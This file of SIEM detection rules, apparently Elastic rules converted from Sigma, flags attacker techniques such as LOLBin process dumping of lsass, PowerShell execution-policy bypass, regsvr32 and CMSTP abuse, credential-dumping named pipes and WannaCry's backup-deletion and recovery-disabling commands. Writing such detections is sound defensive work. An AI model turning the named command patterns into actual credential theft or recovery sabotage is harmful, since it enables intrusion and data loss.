{"description":"Detects usage of system utilities (only grep for now) to discover security software discovery Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"0ed75b9c-c73b-424d-9e7d-496cd565fbe0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Security Software Discovery","query":"(process.executable:\"\\/usr\\/bin\\/grep\" AND (process.command_line:(*nessusd* OR *santad* OR *CbDefense* OR *falcond* OR *td\\-agent* OR *packetbeat* OR *filebeat* OR *auditbeat* OR *osqueryd* OR *BlockBlock* OR *LuLu*) OR (process.command_line:*Little* AND process.command_line:*Snitch*)))","meta":{"from":"1m"},"severity":"medium","tags":["T1518"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1518","name":"Software Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of system utilities to discover files and directories Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"d3feb4ee-ff1d-4d3d-bd10-5b28a238cc72","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"File and Directory Discovery","query":"((process.executable:*\\/file AND process.command_line:/(.){200,}/) OR (process.executable:*\\/ls AND process.command_line:*\\-R*) OR process.executable:*\\/find OR process.executable:*\\/tree)","meta":{"from":"1m"},"severity":"low","tags":["T1083"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1083","name":"File and Directory Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of system utilities to discover files and directories Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"089dbdf6-b960-4bcc-90e3-ffc3480c20f6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"File and Directory Discovery","query":"((process.executable:\"\\/usr\\/bin\\/file\" AND process.command_line:/(.){200,}/) OR (process.executable:\"\\/bin\\/ls\" AND process.command_line:*\\-R*) OR process.executable:\"\\/usr\\/bin\\/find\" OR process.executable:\"\\/usr\\/bin\\/mdfind\" OR process.executable:\"\\/tree\")","meta":{"from":"1m"},"severity":"low","tags":["T1083"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1083","name":"File and Directory Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of system utilities to discover system network connections Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"4c519226-f0cd-4471-bd2f-6fbb2bb68a79","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"System Network Connections Discovery","query":"process.executable:(*\\/who OR *\\/w OR *\\/last OR *\\/lsof OR *\\/netstat)","meta":{"from":"1m"},"severity":"low","tags":["T1049"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1049","name":"System Network Connections Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of system utilities to discover system network connections Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"9a7a0393-2144-4626-9bf1-7c2f5a7321db","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"System Network Connections Discovery","query":"process.executable:(\"\\/usr\\/bin\\/who\" OR \"\\/usr\\/bin\\/w\" OR \"\\/usr\\/bin\\/last\" OR \"\\/usr\\/sbin\\/lsof\" OR \"\\/usr\\/sbin\\/netstat\")","meta":{"from":"1m"},"severity":"low","tags":["T1049"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1049","name":"System Network Connections Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe. Author: Ensar Åžamil, @sblmsrsn, @oscd_initiative. License: ","enabled":false,"false_positives":["Legitimate usage by software developers/testers"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f82e0d6f-5d50-49c3-23d2-1d61579bddb0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Time Travel Debugging Utility Usage","query":"process.parent.executable:*\\\\tttracer.exe","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","Defense Evasion","T1003","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]},{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe. Author: Ensar Åžamil, @sblmsrsn, @oscd_initiative. License: ","enabled":false,"false_positives":["Legitimate usage by software developers/testers"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f82e0d6f-5d50-49c3-23d2-1d61579bddb0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Time Travel Debugging Utility Usage","query":"file.path:(*\\\\ttdrecord.dll OR *\\\\ttdwriter.dll OR *\\\\ttdloader.dll)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","Defense Evasion","T1003","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]},{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects use of executionpolicy option to set a unsecure policies Author: frack113. License: ","enabled":false,"false_positives":["Administrator script"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"15d768ca-9dbb-b693-faea-0032eebc569e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Change PowerShell Policies to a Unsecure Level","query":"(process.command_line:*\\-executionpolicy\\ * AND process.command_line:(*Unrestricted* OR *bypass* OR *RemoteSigned*))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cd1aea75-bde1-993c-af11-180f8e4e192c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Wlrmdr Lolbin Use as Laucher","query":"((process.executable:*wlrmdr.exe AND process.command_line:*\\-s\\ * AND process.command_line:*\\-f\\ * AND process.command_line:*\\-t\\ * AND process.command_line:*\\-m\\ * AND process.command_line:*\\-a\\ * AND process.command_line:*\\-u\\ *) AND (NOT (process.parent.executable:\"C\\:\\\\Windows\\\\System32\\\\winlogon.exe\")))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects uses of the createdump.exe LOLOBIN utility to dump process memory Author: Florian Roth. License: ","enabled":false,"false_positives":["Command lines that use the same flags"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"515c8be5-e5df-4c5e-8f6d-a4a2f05e4b48","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CreateDump Process Dump","query":"((process.executable:*\\\\createdump.exe AND process.command_line:*\\ \\-u\\ * AND process.command_line:*\\ \\-f\\ *) OR (process.command_line:*\\ \\-u\\ \\-f\\ * AND process.command_line:*.dmp\\ *))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1003","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6355a919-2e97-4285-a673-74645566340d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"RdrLeakDiag Process Dump","query":"(process.command_line:*\\/fullmemdmp* AND (process.executable:*\\\\rdrleakdiag.exe OR (process.command_line:*\\ \\/o\\ * AND process.command_line:*\\ \\/p\\ *)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1003","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects uses of the SysInternals Procdump utility Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use of procdump by a developer or administrator"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"db7b25ca-1888-9643-dd84-abf9186391f7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Procdump Usage","query":"(process.executable:(*\\\\procdump.exe OR *\\\\procdump64.exe) OR (process.command_line:*\\ \\-ma\\ * AND process.command_line:*.exe*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1003","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects uses of the SysInternals Procdump utility in which procdump or its output get renamed or a dump file is moved ot copied to a different name Author: Florian Roth. License: ","enabled":false,"false_positives":["Cases in which procdump just gets copied to a different directory without any renaming"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"79b06761-465f-4f88-9ef2-150e24d3d737","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Procdump Evasion","query":"(process.command_line:(*copy\\ procdump* OR *move\\ procdump*) OR (process.command_line:*copy\\ * AND process.command_line:*.dmp\\ * AND process.command_line:(*2.dmp* OR *lsass* OR *out.dmp*)) OR process.command_line:(*copy\\ lsass.exe_* OR *move\\ lsass.exe_*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1003","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects using Diskshadow.exe to execute arbitrary code in text file Author: Ivan Dyachkov, oscd.community. License: ","enabled":false,"false_positives":["False postitve can be if administrators use diskshadow tool in their infrastructure as a main backup tool with scripts."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0c2f8629-7129-4a8a-9897-7e0768f13ff2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution via Diskshadow.exe","query":"(process.executable:*\\\\diskshadow.exe AND process.command_line:(*\\/s* OR *\\-s*))","meta":{"from":"1m"},"severity":"high","tags":["T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p. Author: Julia Fomina, oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cd3d1298-eb3b-476c-ac67-12847de55813","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"DLL Execution via Rasautou.exe","query":"((process.executable:*\\\\rasautou.exe OR winlog.event_data.OriginalFileName:\"rasdlui.exe\") AND (process.command_line:*\\-d* AND process.command_line:*\\-p*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects using register-cimprovider.exe to execute arbitrary dll file. Author: Ivan Dyachkov, Yulia Fomina, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a2910908-e86f-4687-aeba-76a5f996e652","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"DLL Execution Via Register-cimprovider.exe","query":"(process.executable:*\\\\register\\-cimprovider.exe AND process.command_line:*\\-path* AND process.command_line:*dll*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. Author: Julia Fomina, oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"93671f99-04eb-4ab4-a161-70d446a84003","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Capture Credentials with Rpcping.exe","query":"((process.executable:*\\\\rpcping.exe AND process.command_line:(*\\-s* OR *\\/s*)) AND ((process.command_line:*\\-u* AND process.command_line:*NTLM*) OR (process.command_line:*\\/u* AND process.command_line:*NTLM*) OR (process.command_line:*\\-t* AND process.command_line:*ncacn_np*) OR (process.command_line:*\\/t* AND process.command_line:*ncacn_np*)))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects using SettingSyncHost.exe to run hijacked binary Author: Anton Kutepov, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b2ddd389-f676-4ac4-845a-e00781a48e5f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Using SettingSyncHost.exe as LOLBin","query":"((NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))) AND (process.parent.command_line:*cmd.exe\\ \\/c* AND process.parent.command_line:*RoamDiag.cmd* AND process.parent.command_line:*\\-outputpath*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects using WorkFolders.exe to execute an arbitrary control.exe Author: Maxime Thiebaut (@0xThiebaut). License: ","enabled":false,"false_positives":["Legitimate usage of the uncommon Windows Work Folders feature."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0bbc6369-43e3-453d-9944-cae58821c173","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution via WorkFolders.exe","query":"((process.executable:*\\\\control.exe AND process.parent.executable:*\\\\WorkFolders.exe) AND (NOT (process.executable:\"C\\:\\\\Windows\\\\System32\\\\control.exe\")))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects value modification of registry key containing path to binary used as screensaver. Author: Bartlomiej Czyz @bczyz1, oscd.community. License: ","enabled":false,"false_positives":["Legitimate modification of screensaver."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9f478575-e8a7-02d4-2dd2-fbbf89579258","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Path To Screensaver Binary Modified","query":"(winlog.event_data.TargetObject:*\\\\Control\\ Panel\\\\Desktop\\\\SCRNSAVE.EXE AND (NOT (process.executable:(*\\\\rundll32.exe OR *\\\\explorer.exe))))","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects various anomalies in relation to regsvr32.exe Author: Florian Roth, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8e2b24c9-4add-46a0-b4bb-0057b4e6187d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Regsvr32 Anomaly","query":"((process.executable:*\\\\regsvr32.exe AND process.command_line:*\\\\Temp\\\\*) OR (process.executable:*\\\\regsvr32.exe AND process.parent.executable:*\\\\powershell.exe) OR (process.executable:*\\\\regsvr32.exe AND process.parent.executable:*\\\\cmd.exe) OR (process.executable:*\\\\regsvr32.exe AND process.command_line:*\\/i\\:* AND process.command_line:(*http* OR *ftp*) AND process.command_line:*scrobj.dll) OR (process.executable:*\\\\wscript.exe AND process.parent.executable:*\\\\regsvr32.exe) OR (process.executable:*\\\\EXCEL.EXE AND process.command_line:*..\\\\..\\\\..\\\\Windows\\\\System32\\\\regsvr32.exe\\ *) OR (process.parent.executable:*\\\\mshta.exe AND process.executable:*\\\\regsvr32.exe) OR (process.executable:*\\\\regsvr32.exe AND process.command_line:(*\\\\AppData\\\\Local* OR *C\\:\\\\Users\\\\Public*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects various indicators of Microsoft Connection Manager Profile Installer execution Author: Nik Seetharaman. License: ","enabled":false,"false_positives":["Legitimate CMSTP use (unlikely in modern enterprise environments)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3b4b232a-af90-427c-a22f-30b0c0837b95","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CMSTP Execution Process Access","query":"winlog.event_data.CallTrace:*cmlua.dll*","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218","T1559"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1559","name":"Inter-Process Communication","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects various indicators of Microsoft Connection Manager Profile Installer execution Author: Nik Seetharaman. License: ","enabled":false,"false_positives":["Legitimate CMSTP use (unlikely in modern enterprise environments)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7d4cdc5a-0076-40ca-aac8-f7e714570e47","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CMSTP Execution Process Creation","query":"process.parent.executable:*\\\\cmstp.exe","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects various indicators of Microsoft Connection Manager Profile Installer execution Author: Nik Seetharaman. License: ","enabled":false,"false_positives":["Legitimate CMSTP use (unlikely in modern enterprise environments)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"37cf3e49-b29b-08bb-30aa-a8f12b059231","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CMSTP Execution Registry Event","query":"winlog.event_data.TargetObject:*\\\\cmmgr32.exe*","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects VBScript content stored into registry keys as seen being used by UNC2452 group Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c8386edd-b603-d526-d449-d8ddaa949188","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"VBScript Payload Stored in Registry","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.Details:(*vbscript* OR *jscript* OR *mshtml* OR *RunHTMLApplication* OR *Execute\\(* OR *CreateObject* OR *RegRead* OR *window.close*)) AND (NOT ((winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run*) OR (process.executable:*\\\\msiexec.exe AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Installer\\\\UserData\\\\* AND winlog.event_data.Details:(*\\\\Microsoft.NET\\\\Primary\\ Interop\\ Assemblies\\\\Microsoft.mshtml.dll* OR *<\\\\Microsoft.mshtml,fileVersion\\=* OR *FL_Microsoft_mshtml_dll_____X86.* OR *Microsoft_mshtml_dll_1_____X86.* OR *<\\\\Microsoft.mshtml,culture\\=*)))))","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects VBScript content stored into registry keys as seen being used by UNC2452 group Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c8386edd-b603-d526-d449-d8ddaa949188","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"VBScript Payload Stored in Registry","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion* AND winlog.event_data.Details:(*vbscript* OR *jscript* OR *mshtml* OR *RunHTMLApplication* OR *Execute\\(* OR *CreateObject* OR *RegRead* OR *window.close*)) AND (NOT ((winlog.event_data.TargetObject:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run*) OR (process.executable:*\\\\msiexec.exe AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Installer\\\\UserData\\\\* AND winlog.event_data.Details:(*\\\\Microsoft.NET\\\\Primary\\ Interop\\ Assemblies\\\\Microsoft.mshtml.dll* OR *<\\\\Microsoft.mshtml,fileVersion\\=*)))))","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects WannaCry ransomware activity Author: Florian Roth (rule), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["Diskpart.exe usage to manage partitions on the local hard drive"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"41d40bff-377a-43e2-8e1b-2e543069e079","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"WannaCry Ransomware","query":"(process.executable:(*\\\\tasksche.exe OR *\\\\mssecsvc.exe OR *\\\\taskdl.exe OR *\\\\taskhsvc.exe OR *\\\\taskse.exe OR *\\\\111.exe OR *\\\\lhdfrgui.exe OR *\\\\diskpart.exe OR *\\\\linuxnew.exe OR *\\\\wannacry.exe) OR process.executable:*WanaDecryptor* OR (process.command_line:*icacls* AND process.command_line:*\\/grant* AND process.command_line:*Everyone\\:F* AND process.command_line:*\\/T* AND process.command_line:*\\/C* AND process.command_line:*\\/Q*) OR (process.command_line:*bcdedit* AND process.command_line:*\\/set* AND process.command_line:*\\{default\\}* AND process.command_line:*recoveryenabled* AND process.command_line:*no*) OR (process.command_line:*wbadmin* AND process.command_line:*delete* AND process.command_line:*catalog* AND process.command_line:*\\-quiet*) OR process.command_line:*@Please_Read_Me@.txt*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Lateral Movement","T1083","T1210","T1222","T1486","T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1222","name":"File and Directory Permissions Modification","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1083","name":"File and Directory Discovery","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1210","name":"Exploitation of Remote Services","reference":""}]},{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1486","name":"Data Encrypted for Impact","reference":""},{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects well-known credential dumping tools execution via specific named pipes Author: Teymur Kheirkhabarov, oscd.community. License: ","enabled":false,"false_positives":["Legitimate Administrator using tool for password recovery"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ab8a3e1d-58dc-e8fb-e62f-cc9e9b79f065","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Cred Dump-Tools Named Pipes","query":"file.name:(*\\\\lsadump* OR *\\\\cachedump* OR *\\\\wceservicepipe*)","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003","T1003","T1003","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""},{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
